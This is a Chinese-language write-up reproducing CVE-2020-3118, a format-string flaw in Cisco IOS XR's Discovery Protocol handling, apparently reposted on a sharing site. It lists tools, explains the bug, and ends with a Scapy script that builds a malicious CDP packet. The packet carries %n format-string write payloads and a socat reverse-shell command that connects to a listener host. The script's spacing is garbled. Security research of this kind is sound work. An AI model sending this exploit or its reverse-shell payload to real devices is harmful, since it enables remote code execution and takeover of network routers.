一、介绍
该缺陷存在于CiscoIOSXR软件的CiscoDiscoveryProtocol中,它可能导致黑客的攻击。
“该漏洞是CiscoDiscoveryProtocol中字段字符串输入的错误验证所致。黑客可以通过向受影响设备发送恶意CiscoDiscoveryProtocol数据包以利用漏洞。”“被成功利用的漏洞可能导致堆栈溢出,黑客便可以执行任意代码。”
Cisco专家指出,其他黑客也可以利用此缺陷。美国国家安全局(NSA)声称该漏洞在漏洞排名中位居前25。IOSXR网络操作系统运行包括NCS540560、NCS5500、8000和ASR9000系列的Cisco路由器,该漏洞还会影响至少全球范围内都启用了CiscoDiscoveryProtocol的第三方白盒路由器和Cisco产品。Cisco于2020年2月解决了CVE-2020-3118漏洞,以CDPwn跟踪其他四个严重问题。
二、实验工具与环境
2.1实验工具
,Xshell,gdbserver,gdb。
2.2软件环境
XR模拟器,kali虚拟机。
三、复现过程
3.1漏洞触发及FMT原理分析
本漏洞为格式化字符串漏洞,在同一函数中连续三次调用snprintf造成,通过IDA逆向cdp文件,找到漏洞点。
需要构造合适的cdp报文触发漏洞,cdp协议格式如下图所示:
Scapy库提供了构造cdp报文的API,直接每个字段都构造一部分内容发送过去,用于确定漏洞点。
,LLC,*Logical-LinkControll2_packet/=LLC(dsap=0xaa,ssap=0xaa,ctrl=0x03)/SNAP()linklayerl2_packet=Ether(dst="01:00:0c:cc:cc:cc")CiscoDiscoveryProtocolcdp_v2=_HDR(vers=2,ttl=180)deviceid=(val=b"socatexec:'bash-li',pty,stderr,setsid,sigint,sanetcp:192.168.43.140:1234")portid=(iface=b"%6432048c%4$n")version=(val=b"C"*10)platform=(val=b"%65440c%22$hn%6366610c%4$n")domain=(val=b"%128c%22$hhn")unknown=(val=b"F"*10)address=(naddr=1,addr=(addr="192.168.43.181"))cap=(cap=1)cdp_packet=cdp_v2/deviceid/portid/version/platform/domain/unknown/address/cappacket=l2_packet/cdp_packetsp(packet)
版权声明:本站所有作品(图文、音视频)均由用户自行上传分享,仅供网友学习交流,不声明或保证其内容的正确性,如发现本站有涉嫌抄袭侵权/违法违规的内容。请举报,一经查实,本站将立刻删除。